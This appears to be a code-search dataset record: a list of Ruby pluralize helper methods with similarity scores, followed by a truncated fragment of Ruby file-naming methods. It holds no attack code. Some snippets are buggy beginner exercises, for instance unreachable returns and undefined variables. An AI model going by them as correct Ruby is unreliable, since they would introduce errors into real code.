[ "def pluralize(word); end", "def pluralize(word)\n result = word.to_s.dup\n\n if word.empty? || inflections.uncountables.include?(result.downcase)\n result\n else\n inflections.plurals.each do |(rule, replacement)| \n break if result.gsub!(rule, replacement)\n end\n result\n end\n end", "def plural(word)\n # special exceptions\n return \"\" if word == \"\"\n if result = plural_of[word]\n return result.dup\n end\n result = word.dup\n regex, hash = pluralization_rules\n result.sub!(regex) {|m| hash[m]}\n plural_of[word] = result\n return result\n end", "def pluralize(word)\n result = word.to_s.dup\n\n if word.empty? || inflections.uncountables.include?(result.downcase)\n result\n else\n inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }\n result\n end\n end", "def pluralize(word)\n result = word.to_s.dup\n\n if word.empty? || inflections.uncountables.include?(result.downcase)\n result\n else\n inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }\n result\n end\n end", "def pluralize(count, word)\n \"#{word}#{'s' unless count.to_i == 1}\"\n end", "def pluralize(count, word)\n \"#{word}#{'s' unless count.to_f == 1}\"\n end", "def pluralise(number, word)\n return (number > 1)? \"#{number} #{word}s\" : \"#{number} #{word}\"\nend", "def pluralize(word)\n return word + \"s\" if pluralize?\n word\nend", "def pluralize_without_number(word)\n pluralize(2, word).split(' ')[1..-1].join(' ')\n end", "def pluralize_word(count, singular, plural = nil)\n ((count == 1 || count == '1') ? singular : (plural || singular.pluralize))\n end", "def pluralize(word, term: :noun)\n case term\n when :noun, :n\n Noun[word].plural\n when :verb, :v\n Verb[word].plural\n end\n end", "def pluralize(bottles, text)\n return text + 's' if bottles != 1\n text\nend", "def pluralizer num, noun\n if num != 1\n \"#{num} #{noun}s\"\n else \"#{num} #{noun}\"\n end\nend", "def pluralizer num, noun\n if num == 1\n \"#{num} #{noun}\"\n else\n \"#{num} #{noun}s\"\n end\nend", "def plural_without_count(count, word)\n count == 1 ? word : word.pluralize\n end", "def cplural(word, n, pad = false)\n sing = word\n plur = word.pluralize\n word = n == 1 ? sing : plur\n pad = [sing, plur].map(&:length).max\n \"%-#{pad}s\" % word\nend", "def inflect(word,count)\n if count>1\n word.pluralize\n else\n word\n end\n end", "def pluralizer (num, noun)\n return \"#{num} #{noun}\"\n return \"#{num} geese\" if noun == \"goose\"\n return \"#{num} sheep\" if noun == \"sheep\"\n return \"#{num} #{noun}s\"\nend", "def pluralize(count, singular, plural)\n word = count == 1 ? singular : plural\n \"#{count || 0} #{word}\"\nend", "def pluralize(count, singular, plural)\n word = count == 1 ? singular : plural\n \"#{count || 0} #{word}\"\n end", "def pluralize(text)\n \"#{text.to_s}s\"\n end", "def pluralize(count, singular, plural_arg = nil, plural: plural_arg, locale: I18n.locale)\n word = if count == 1 || count.to_s.match?(/^1(\\.0+)?$/)\n singular\n else\n plural || singular.pluralize(locale)\n end\n\n \"#{count || 0} #{word}\"\n end", "def pluralize(n, str)\n \"#{n} #{str + (n == 1 ? \"\" : \"s\")}\"\nend", "def quantify(number=nil, prepend=false)\n word = self\n word = word.pluralize unless number == 1\n word = [number, word].join(' ') if prepend\n word\n end", "def pluralize_word(singular)\n singular.respond_to?(:pluralize) ? singular.pluralize : singular + 's'\n end", "def plural\n return word if word.to_s.empty?\n\n find_match(Inflection.configuration.plurals[:noun]) ||\n (uncountable? && word) || find_match(Nouns.plurals) || word\n end", "def plural(num,str)\n\n num_str = number_format(num)\n if num == 1\n return num_str + ' ' + str\n else\n return num_str + ' ' + str.pluralize\n end \n \n end", "def pluralizer (num, noun)\n return \"#{num} #{noun}\" if num == 1\n return \"#{num} geese\" if noun == \"goose\"\n return \"#{num} sheep\" if noun == \"sheep\"\n return \"#{num} #{noun}s\"\nend", "def pluralize(locale, entry, count); end", "def pluralize(singularStr, num)\n if num == 1\n return singularStr\n else\n if singularStr[-1] == \"s\" # singularStr[-1] returns last character of string\n return \"#{singularStr}es\"\n else\n return \"#{singularStr}s\"\n end\n end\n end", "def pluralizer num, noun\n if num != 1\n \"#{num} #{noun}s\"\n elsif num == 1 \n \"#{num} #{noun}\"\n elsif num != 1 && noun == goose\n \"#{num}, geese\"\n end\nend", "def pluralizer num,name\n \n if num >= 2\n p \"#{num} #{name}s.\"\n else\n p \"1 #{name}.\"\n end\nend", "def plural_adjective( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_special_adjective(word, count) || word )\n\n\t\treturn pre + plural + post\n\tend", "def pluralize( name )\n warn_nyi( \"support for pluralization guides in pluralize()\" )\n return name.pluralize\n end", "def pluralize(number, text)\n if number != 1\n return number, text + \"s\"\n else\n return number, text\n \n end\n \nend", "def pluralize(word, locale = :en)\n Geode::FastInflector.pluralize(word, locale)\n end", "def pluralized_noun(number, noun)\n \"#{number} #{noun.pluralize(number)}\"\n end", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n \"#{number} #{noun}s\"\n end\nend", "def plural?(word)\n word = require_string!(word)\n\n word == pluralize(word)\n end", "def pluralize(num, item)\n if item == :warning && num != 1\n \"#{num} Warnings\"\n else\n \"#{num} #{item.capitalize}\"\n end\n end", "def pluralize_with_count( count=2 )\n count > 1 ? pluralize_without_count : singularize\n end", "def pluralize_collection collection, noun \n if collection.size == 1 \n \"1 #{noun}\"\n else \n \"#{collection.size} #{noun.pluralize}\"\n end\n end", "def plural( count=2 )\n\t\tphrase = if self.respond_to?( :to_int )\n\t\t\t\tself.numwords\n\t\t\telse\n\t\t\t\tself.to_s\n\t\t\tend\n\n\t\tself.log.debug \"Pluralizing %p\" % [ phrase ]\n\t\tpre = text = post = nil\n\n\t\t# If the string has whitespace, only pluralize the middle bit, but\n\t\t# preserve the whitespace to add back to the result.\n\t\tif md = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase.to_s )\n\t\t\tpre, text, post = md.captures\n\t\telse\n\t\t\treturn phrase\n\t\tend\n\n\t\tplural = postprocess( text,\n\t\t\tpluralize_special_adjective(text, count) ||\n\t\t\tpluralize_special_verb(text, count) ||\n\t\t\tpluralize_noun(text, count) )\n\n\t\treturn pre + plural + post\n\tend", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend", "def pluralizer(num,noun)\n p num > 1 ? \"#{num} #{noun}s\" : nil\nend", "def pluralize(count, singular, plural_arg = T.unsafe(nil), plural: T.unsafe(nil), locale: T.unsafe(nil)); end", "def plural(input)\n input.dup.en.plural\n end", "def pluralize(number_of_bottles)\n if number_of_bottles > 1\n \"#{number_of_bottles} bottles\"\n elsif number_of_bottles == 1\n \"1 bottle\"\n else\n \"No more bottles\"\n end\nend", "def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end", "def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end", "def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end", "def plural(int, str)\n return \"#{int} #{str.pluralize}\" unless int == 1\n \"#{int} #{str.singularize}\"\n end", "def pluralized_stats(count, thing)\n new_count, new_thing = pluralize(count, thing).split(' ')\n raw \"#{new_count} #{content_tag(:span, new_thing)}\"\n end", "def pluralizer(num,noun)\n p noun == \"sheep\" ? \"#{num} #{noun}\" : noun == \"geese\" ? \"#{num} #{noun}\" :\n num == 1 && noun == \"child\" ? \"#{num} #{noun}\" : noun == \"child\" ? \"#{num} #{noun}ren\" :\n noun == \"children\" ? \"#{num} child\" : num == 1 && noun == \"people\" ? \"#{num} person\" :\n num > 1 ? \"#{num} #{noun}s\" : nil\nend", "def plural(rule, replacement, term: :noun)\n @plurals[term] << [Regexp.new(rule, \"i\"), replacement]\n end", "def pluralize amount, singular\n \"#{amount} #{singular}#{amount == 1 ? '' : 's'}\"\n end", "def pluralizer (noun, num)\n if num > 1 && noun.include?('goose')\n puts \"#{num}, geese\"\n elsif num > 1\n puts \"#{num}, #{noun}s\"\n else\n puts \"#{num}, #{noun}\"\n end\nend", "def plural(rule, replacement)\n @uncountables.delete(rule) if rule.is_a?(String)\n @uncountables.delete(replacement)\n @plurals.insert(0, [rule, replacement])\n end", "def plural(rule, replacement)\n @uncountables.delete(rule) if rule.is_a?(String)\n @uncountables.delete(replacement)\n @plurals.insert(0, [rule, replacement])\n end", "def plural(rule, replacement)\n @uncountables.delete(rule) if rule.is_a?(String)\n @uncountables.delete(replacement)\n @plurals.insert(0, [rule, replacement])\n end", "def plural(int, str)\r\n return \"#{int} #{str}s\" unless int == 1\r\n \"#{int} #{str}\"\r\n end", "def pluralize(count)\n if custom?\n # todo: make a search from the custom inflector, if doesn't match, simply fallback to @name\n # something like OurInflector.pluralize(@name) || @name\n return @custom_name\n else\n (count == 1 || count =~ /^1([\\.,]0+)?$/) ? \n I18n.t(\"units.#{@yaml}\", :count => 1) : I18n.t(\"units.#{@yaml}\", :count => count)\n end\n end", "def plural(n)\n n == 1 ? \"#{n} bottle\" : \"#{n} bottles\"\nend", "def plural(rule, replacement)\n @uncountables.delete(rule) if rule.is_a?(String)\n @uncountables.delete(replacement)\n @plurals.prepend([rule, replacement])\n end", "def plural(rule, replacement)\n @uncountables.delete(rule) if rule.is_a?(String)\n @uncountables.delete(replacement)\n @plurals.prepend([rule, replacement])\n end", "def plural_noun( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_noun(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def pluralize\n self[-1] == 's' ? \"#{self}es\" : \"#{self}s\"\n end", "def pluralize(l_string) #count, singular, plural = nil)\n # map the arguments like in the original pluralize method\n count, singular, plural = l_string.split(',').map{ |arg| arg.strip}\n\n \"#{count} \" + if count == 1 || count == '1'\n singular\n elsif plural\n plural\n elsif Object.const_defined?(\"Inflector\")\n Inflector.pluralize(singular)\n else\n singular + \"s\"\n end\n end", "def plural(*args)\n TextHelper.pluralize(*args)\n end", "def pluralizer(noun, num)\n if num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def pluralizer(noun, num)\n if num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def pluralize(string)\n if string[-1] == 'y'\n \"#{string[0..(string.length - 2)]}ies\"\n else\n \"#{string}s\"\n end\n end", "def pluralizer string, n\n if n == 1 \n puts \"#{n} #{string}\"\n elsif n > 1 || n==0\n puts \"#{n} #{string}s\"\n end\nend", "def plural(palavra)\n \"#{palavra}s\"\nend", "def add_s(words)\n words_plural = []\n words.each_index do |index|\n unless index == 1\n words_plural << words[index] + \"s\"\n end\n end\n words_plural.insert(1, words[1])\nend", "def pluralize(count, singular, plural = nil)\n \"#{count || 0} \" + (count == 1 ? singular : (plural || singular.pluralize))\n end", "def pluralize(count, singular, plural = nil)\n \"#{count} \" + if count == 1\n singular\n elsif plural\n plural\n elsif Object.const_defined?(\"Inflector\")\n Inflector.pluralize(singular)\n else\n singular + \"s\"\n end\n end", "def pluralize\n p = self[ :plural ]\n p = ! scalar? if p.nil?\n p = 's' if p == false\n p = 'p' if p == true\n p.to_s\n end", "def plural(n, item)\n n == 1 ? \"#{n} #{item}\" : \"#{n} #{item}s\"\nend", "def pluralizerPlus(noun, num)\n if noun.match?(/goose|child|person/i) && num != 1\n noun.downcase === \"goose\" ? noun = \"geese\" : nil\n noun.downcase === \"child\" ? noun = \"children\" : nil\n noun.downcase === \"person\" ? noun = \"people\" : nil\n end\n if num > 1 && noun.match?(/geese|children|people/i)\n \"#{num} #{noun}\"\n elsif num > 1\n \"#{num} #{noun}s\"\n elsif num === 1\n \"#{num} #{noun}\"\n elsif num === 0 && noun.match?(/geese|children|people/i)\n \"zero #{noun}\"\n elsif num === 0\n \"zero #{noun}s\"\n else\n \"Please enter a whole number\"\n end\nend", "def pluralize(count, singular, plural = nil)\n \"#{count || 0} \" + ((count == 1 || count == '1') ? singular : (plural || singular.pluralize))\n end", "def pluralize(count, singular, plural = nil)\n \"#{count || 0} \" + ((count == 1 || count == '1') ? singular : (plural || singular.pluralize))\n end", "def pluralize(count, singular, plural_arg=nil, plural: plural_arg, locale: I18n.locale)\n self.class.pluralize(count, singular, plural_arg, plural: plural, locale: locale)\n end", "def default_pluralizer(count)\n count == 1 ? :one : :other\n end", "def pluralizer(num, obj)\n obj.downcase!\n if num > 1\n if obj == \"sheep\"\n return \"#{num} #{obj}\"\n elsif obj == \"goose\"\n return \"#{num} geese\"\n elsif obj == \"child\"\n return \"#{num} children\"\n elsif obj == \"person\"\n return \"#{num} people\"\n elsif obj == \"species\"\n return \"#{num} #{obj}\"\n else\n return \"#{num} #{obj}s\"\n end\n else\n return \"#{num} #{obj}\"\n end\nend", "def plural?(word)\n word[-1] == 'S' && word[-2] != 'S'\n end", "def pluralize(n, singular, plural=nil)\n if n == 1 \n \"1 #{singular}\"\n elsif plural\n \"#{n} #{plural}\"\n else\n \"#{n} #{singular}s\"\n end\n end", "def pluralizer\n @number = params[:num].to_i\n @noun = params[:noun]\n if @number > 1\n @noun = @noun + 's'\n end\n render \"pluralizer.html.erb\"\nend", "def plural(input)\n input>1 ? 's' : ''\n end", "def pluralizer string, number\n if n == 1 \n puts \"#{number} #{string}\"\n elsif string == \"person\"\n puts \"#{number} people\"\n elsif string == \"child\"\n puts \"#{number} children\"\n elsif string == \"goose\"\n puts \"#{number} geese\"\n elsif n > 1 \n puts \"#{number} #{string}s\"\n end\nend", "def plural_every(int, str)\r\n return \"#{int} #{str}s\" unless int == 1\r\n \"#{str}\"\r\n end", "def pluralize(count = nil)\n if count == 1\n self\n else\n MotionSupport::Inflector.pluralize(self)\n end\n end", "def plural_word(singular, plural)\n @plural_of[singular] = plural\n @plural_of[singular.capitalize] = plural.capitalize\n end", "def plural\n\t\tEndings.each { |k, v|\n\t\t\tif name =~ '(.*)' + k + '$'\n\t\t\t\treturn $1.to_s + v\n\t\t\tend\n\t\t}\n\t\treturn \"#{name}s\"\n\tend", "def pluralizer\n @number = params[:num].to_i\n @noun = params[:noun]\n if @noun.downcase == 'moose' && @number >1\n @noun = 'moose'\n elsif @noun.downcase == 'goose' && @number >1\n @noun = 'geese'\n elsif @noun.downcase == 'child' && @number >1\n @noun = 'children'\n elsif @number > 1\n @noun = @noun + 's'\n end\n render \"pluralizer.html.erb\"\nend", "def test_pluralize_one\n assert_equal \"book\", @d.pluralize(\"book\", 1)\n end", "def pluralize(resource)\n resource =~ /^\\w+y$/ ? resource.sub(/y$/, 'ies') : \"#{resource}s\"\n end", "def is_plural(word)\n\treturn word[-1] === 's' ? true : false\nend" ]
[ "0.8291213", "0.7874297", "0.7760038", "0.7757809", "0.7757809", "0.7733956", "0.7672149", "0.75080585", "0.74505484", "0.7440822", "0.73560196", "0.7138265", "0.70662105", "0.7050328", "0.70469284", "0.6951704", "0.69056594", "0.6899908", "0.6888621", "0.6883731", "0.6871323", "0.6867872", "0.68626755", "0.68613887", "0.68359834", "0.6830988", "0.6814752", "0.6810066", "0.68018377", "0.6781291", "0.6741521", "0.672354", "0.67186904", "0.67062616", "0.6700397", "0.66980386", "0.6685824", "0.6673841", "0.66590375", "0.6654464", "0.6652732", "0.6584257", "0.65760905", "0.6573434", "0.6556372", "0.6531602", "0.6518776", "0.65167665", "0.65044934", "0.6480367", "0.6479796", "0.6479796", "0.6479796", "0.6470836", "0.6454617", "0.6452309", "0.64493847", "0.64475006", "0.6427062", "0.6427062", "0.6427062", "0.641863", "0.6400305", "0.63992864", "0.63947046", "0.63947046", "0.63815063", "0.6367632", "0.63619107", "0.6361031", "0.63560385", "0.63560385", "0.6353032", "0.6340685", "0.63283443", "0.63128495", "0.6308718", "0.63080347", "0.62955666", "0.62409467", "0.62357414", "0.62307847", "0.6203355", "0.6203355", "0.6180147", "0.6179736", "0.61634415", "0.6161236", "0.6159759", "0.6152585", "0.6149441", "0.61351776", "0.6133739", "0.6132407", "0.6089705", "0.60418314", "0.6031395", "0.6022498", "0.5991212", "0.5978075" ]
0.804285
1
FUNCTION: getfilename PURPOSE: Determine the filename with current date PARAMETERS: / RETURNS: Path of the file to create serving to add all information of the sprint update
def getfilename() current_time = Time.new.strftime("%Y-%m-%d") # Create filename filename = current_time + "_sprint_update_CS.html" # Create folder with all file of sprint update foldername = "History" Dir.mkdir(foldername) unless File.exists?(foldername) return File.join(".", foldername, filename) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def filename\n current_time = Time.new\n formatted_current_time = current_time.strftime(\"%Y%m%d_%H%M%S\")\n formatted_current_time + \"_\" + original_filename\n end", "def filename\n current_time = Time.new\n formatted_current_time = current_time.strftime(\"%Y%m%d_%H%M%S\")\n formatted_current_time + \"_\" + original_filename\n end", "def filename\n return unless original_filename\n\n extension = File.extname(original_filename)\n name = File.basename(original_filename, extension)\n\n \"#{Time.current.to_i.to_s}-#{name.parameterize}#{extension}\"\n end", "def filename\n return @filename unless @filename.nil?\n generate_file_name()\n @filename\n end", "def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end", "def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend", "def filename\n DateTime.now.strftime('%Q') + Digest::MD5.hexdigest(original_filename) + original_filename if original_filename\n end", "def filename\n filename = (model.name + '_' + model.artist.name + '_' + model.release.name).downcase.gsub(/\\s/, '-')\n \"#{filename}\" if original_filename \n end", "def file_path\n \"#{Time.now.to_f}.#{filename}\"\n end", "def experiment_filename\n date = DateTime.now.strftime('%Y-%m-%d')\n \"#{date}_Job_#{job.id}\"\n end", "def genfilename(ext, time = Time.now)\n time.strftime(\"%Y-%m-%d\") + ext\n end", "def file_name\n ts = @entries.first.time_stamp\n File.join(@coord.options.output_dir,\n ts.strftime('%Y-%m-%d'),\n ts.strftime('%H-%M'),\n ts.strftime('%S.%3N-') + id)\n end", "def file_name\n \"#{Time.current.to_i}-#{@file.original_filename}\"\n end", "def gen_filename\n name = @issue[\"created\"].strftime(\"%Y-%m-%d-\") + \n @issue[\"title\"].gsub(/\\W+/, \"_\") +\n \".yaml\"\n n = 1\n while File.exist?(File.join(@dir, name))\n name = File.basename(name, \".yaml\") + \"-\" + n.to_s + \".yaml\"\n n += 1\n end\n\n name\n end", "def filename\n @filename = \"#{secure_token}_#{split_extension(original_filename)}.#{file.extension}\" if original_filename.present?\n end", "def filename\n unless @filename\n @filename = @path.basename.to_s\n end\n\n @filename\n end", "def pretty_filename_for_download\n student_name = \"#{student.last_name} #{student.first_name}\"\n escaped_student_name = student_name.gsub(/[^a-zA-Z0-9]+/, '')\n date_text = self.created_at.strftime('%Y%m%d')\n \"IEP_#{escaped_student_name}_#{date_text}_#{student.id}_#{self.id}.pdf\"\n end", "def get_processed_filename\n # We can make this if statement a single line, but then it'd be too long.\n filename = if file_options.nil? || file_options[:name].blank?\n name + '.csv'\n else\n file_options[:name]\n end\n if filename =~ /\\Ay#/\n date = Date.today.advance(days: -1)\n return date.strftime(filename[2..-1])\n else\n date = Date.today\n return date.strftime(filename)\n end\n end", "def filename\n if original_filename\n \"#{model.name.parameterize}-#{secure_token(8)}.#{file.extension}\"\n end\n end", "def filename_generator\n\t\tparameter_array = Array.new\n\t\tunless params[:name].blank?\n\t\t\tparameter_array << params[:name]\n\t\tend\n\t\t\n\t\tunless params[:state].blank?\n\t\t\tparameter_array << params[:state]\n\t\t end\n\t\t\n\t\tunless params[:commodity].blank?\n\t\t\tparameter_array << params[:commodity]\n\t\tend\n\t\t\n\t\t\n\t\t unless params[:status].blank?\n\t\t\t parameter_array << params[:status].pluralize.parameterize.underscore\n\t\t else\n\t\t\t parameter_array << params[:controller]\n\t\t end\n\t\t\t\t \n\t\t unless params[:action] == 'index'\n\t\t\tparameter_array << params[:action]\n\t\t end\n\t\t \n\t\t if params[:action].in?([\"jorc\",\"resources\"])\n\t\t\tparameter_array << \"for_#{params[:year]}\" unless params[:year].blank?\n\t\t end\n\t\t\t\t\n\t\tparameter_array << Date.today.to_s.gsub(/-/,'')\n\t\t\n\t\t@filename = parameter_array.join('_')\n\tend", "def filename\n if original_filename.present?\n \"#{model.story.slug}-#{secure_token}.#{file.extension}\"\n end\n end", "def name() @filename end", "def generate_filename(title)\n \"#{formatted_current_timestamp}-#{slug_for(title)}.md\"\nend", "def filename()\n #This is a stub, used for indexing\n end", "def filename\n original_filename\n end", "def path\n @new_filename || @filename\n end", "def get_filename(name)\n $file = \"images/\" << Time.now.strftime('%Y-%m-%d-%H-%M-%S-') << \"#{name}.jpg\"\nend", "def filename\n Time.now.to_i.to_s + [*('A'..'Z')].sample(8).join + \".\" + file.extension if original_filename\n end", "def filename(record, file)\n original = \"#{file.basename}.#{file.extension}\"\n write_attribute(:original_filename, original)\n ext = file.suffix.nil? || file.suffix == :original ? file.extension : file.suffix\n \"#{application_for_offering.id.to_s}-#{title.gsub(/[\\s,\\.\\\\\\/\\*\\?\\%\\:\\|\\\"\\'\\<\\>]?/,'')}.#{ext}\"\n end", "def getFilename\r\n\t\t\t\t\treturn @filename\r\n\t\t\t\tend", "def filename\n File.join(%w{public finished-jobs},Digest::SHA1.hexdigest(url)+\".txt\")\n end", "def filename\n return unless original_filename\n if model.instance_variable_get('@_temporal_filename')\n model.instance_variable_get('@_temporal_filename')\n else\n timestamp = DateTime.now.strftime(\"%d-%m-%Y-%H-%M\")\n random_id = SecureRandom.hex\n temporal_filename = \"#{timestamp}-#{random_id}-#{original_filename}\"\n model.instance_variable_set('@_temporal_filename', temporal_filename)\n end\n end", "def filename\n return @filename if @filename\n name.downcase.gsub(/\\W/, '_').squeeze('_')\n end", "def file_name\n \"/\" + current_file.path.split('/').pop\n end", "def filename\n @file.basename.to_s\n end", "def filename\n @name ||= ActiveSupport::SecureRandom.hex\n\t\"#{@name}#{File.extname(original_filename).downcase}\" if original_filename\n end", "def filename\n @filename\n end", "def filename\n \"mp-#{make_stamp}-1024.jpg\" if original_filename\n end", "def filename\n if original_filename\n uuid = UUIDTools::UUID.md5_create(UUIDTools::UUID_DNS_NAMESPACE, original_filename)\n extname = File.extname(original_filename)\n return \"#{uuid}#{extname}\"\n end\n end", "def file_name\n file_name = (\"./tmp/database_doings/doing_uniques/uniques_done.txt\")\n end", "def get_file_name(manual, version)\n\n fn = ''\n\n case manual\n when 'audio_2.json'\n fn = 'audio'\n when 'checking_1.json'\n fn = 'checking-vol1'\n when 'checking_2.json'\n fn = 'checking-vol2'\n when 'translate_1.json'\n fn = 'translate-vol1'\n when 'translate_2.json'\n fn = 'translate-vol2'\n when 'gateway_3.json'\n fn = 'gl'\n when 'intro_1.json'\n fn = 'intro'\n when 'process_1.json'\n fn = 'process'\n else\n 'en-ta-v%s' % [version]\n end\n\n '%sen-ta-%s-v%s.pdf' % [@context.registers[:site].config['ta_pdf_cdn'], fn, version]\n end", "def filename(version=nil)\n if version.blank?\n return \"#{unique_name}.#{file_ext}\"\n else\n return nil unless (workflow_version = self.find_version(version))\n return \"#{workflow_version.unique_name}.#{workflow_version.file_ext}\"\n end\n end", "def filename\n \"#{original_filename_without_extension.parameterize}_#{model.filename_token}#{original_extension}\" if original_filename\n end", "def full_filename (for_file = model.document.file)\n for_file\n end", "def make_filename(file_index)\n return SAVE_PATH + SAVE_FILE_NAME.gsub(/\\{ID\\}/i) { (file_index + 1).to_s }\n end", "def filename\n @name ||= \"#{md5}.#{file.extension}\" if original_filename.present?\n end", "def file_name\n \"#{@file_name}.#{extension}\"\n end", "def filename\n @filename ||= \"#{ @component.name }-#{(t=Time.now).to_i}-#{t.usec}.yaml\"\n end", "def public_filename(record, file)\n filename = [application_for_offering.id.to_s] \n filename << application_for_offering.person.fullname\n filename << title\n ext = file.suffix.nil? || file.suffix == :original ? file.extension : file.suffix\n filename.join(' ').gsub(/[^a-z0-9 \\(\\)]+/i,'') + \".#{ext}\"\n end", "def filename\n if super.present?\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}#{File.extname(original_filename).downcase}\"\n end\n end", "def filename\n if super.present?\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}#{File.extname(original_filename).downcase}\"\n end\n end", "def name\n filename\n end", "def name\n filename\n end", "def filename\n \"#{secure_token(10)+File.extname(original_filename)}\" if original_filename.present?\n end", "def full_filename(for_file)\n #[remote_process!, for_file].join(\".\")\n for_file\n end", "def filename\n \"#{secure_token(10)}.#{file.extension}\" if original_filename.present?\n end", "def filename\n @filename\n end", "def filename\n @filename\n end", "def filename(version)\n @file_id.sub(/\\.#{file_type}\\Z/, \".#{version}.#{file_type}\")\n end", "def get_name(name)\n name+\"_#{get_time_stamp}.xlsx\"\n end", "def generate_filename\n #if episodeTitle != brandTitle (brandTitle looks to be the name of the program) then use this in the filename\n if @metadata[:episodeTitle] != @metadata[:brandTitle]\n out_file = \"#{@metadata[:title1]}__#{@metadata[:title2]}__#{@metadata[:episodeTitle]}\"\n else #otherwise just use title1/2\n out_file = \"#{@metadata[:title1]}__#{@metadata[:title2]}\"\n end\n out_file.gsub!(/[^0-9A-Za-z.\\-]/, '_') #replace non alphanumerics with underscores\n\n @out_file = File.join(@out_dir, out_file)\n end", "def determine_file_name (workitem)\n\n fei = workitem.fei\n\n OpenWFE::ensure_for_filename(\n \"#{fei.wfid}_#{fei.expression_id}__\" +\n \"#{fei.workflow_definition_name}__\" +\n \"#{fei.workflow_definition_revision}__\" +\n \"#{workitem.participant_name}.yaml\")\n end", "def filename\n unless @filename\n load_file_params\n end\n @filename\n end", "def file_name\n # file = full_name\n # file = file.gsub('::', '/')\n # file = file.gsub('#' , '/')\n # file = file.gsub('.' , '-')\n # #file = File.join(output, file + '.html')\n # file\n WebRI.entry_to_path(full_name)\n end", "def todays_data_file_name\n \"/tmp/#{environment.to_s}_Afip_#{ Afip.cuit }_#{ Time.new.strftime('%Y_%m_%d') }.yml\"\n end", "def old_filename() \n\t\t \t\treturn @podspec + \"_old\"\n\t\t \tend", "def filename\n \"#{original_filename}+#{secure_token}.#{file.extension}\" if original_filename.present?\n end", "def filename\n @filename ||= metadata.fetch('PA_MD_CUST_FILENAME', '').to_s\n end", "def get_filename(year, month)\n\tfolder = year == nil ? '.' : './_c' + year.to_s\n\tfilename = month == nil ? 'index' : month.to_s\n\textension = 'md'\n\treturn folder + \"/\" + filename + \".\" + extension\nend", "def access_file_name\n end", "def report_filename(extension = \"pdf\")\n basename = \"ProceedingsTex.\" + extension.to_s\n File.join(RAILS_ROOT, \"files\", \"proceedings_report\", @offering.id.to_s, basename)\n end", "def file_name\n File.basename @path\n end", "def filename(title, now)\n File.join('_posts', format('%d-%02d-%02d-%s.md', now.year, now.month, now.day, file_title(title)))\nend", "def filename(domain_name, baseurl)\n @filename ||= generate_file_name(domain_name, baseurl)\n end", "def filename\n return @filename if @filename\n is_directory = url.match /\\/\\z/\n if is_directory\n @filename = filename_for_directory\n else\n @filename = filename_for_file\n end\n @filename\n end", "def versioned_filename(base, first_suffix='.00')\n suffix = nil\n filename = base\n while File.exists?(filename)\n suffix = (suffix ? suffix.succ : first_suffix)\n filename = base + suffix\n end\n return filename\n end", "def original_filename\n File.basename(@file_path)\n end", "def filename\n puts model.name\n puts original_filename\n model.name + File.extname(original_filename)\n end", "def new_file name\n raise \"Not a Valid Directory\" unless valid_directory?\n\n file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}_#{name}.txt\"\n \"#{output_directory_path}#{file_name}\"\n end", "def to_filename\n \"#{year}#{sprintf(\"%02d\", month)}#{sprintf(\"%02d\", day)}-\" +\n \"#{sprintf(\"%02d\", hour)}_#{sprintf(\"%02d\", min)}_#{sprintf(\"%02d\", sec)}\"\n end", "def filename\n File.basename(path)\n end", "def filename\n __advance!\n @_st_fileName\n end", "def get_download_filename\n @options['tempfilename'] + \".\" + @options['exportformat']\n end", "def get_log_basename( data_import_session )\n datafile_base_name = File.basename( data_import_session.file_name ).to_s\n .remove( File.extname( data_import_session.file_name ).to_s )\n \"#{ get_iso_timestamp(data_import_session) }#{ Rails.env == 'development' ? 'prod' : 'dev' }_#{ datafile_base_name }\"\n end", "def filename\n \"#{model.name.parameterize}.#{file.extension}\" if original_filename.present?\n end", "def filename\n @original_filename\n end", "def filename\n get \"filename\"\n end", "def filename\n \"application_#{model.hash}.#{file.extension}\" if original_filename.present?\n end", "def log_filename\n date_str = `date +%d%b%Y`[0..-2]\n LOG_DIR + \"Log#{date_str}.log\"\nend", "def file_name\n prefix = 'broken-links-in-'\n timestamp = 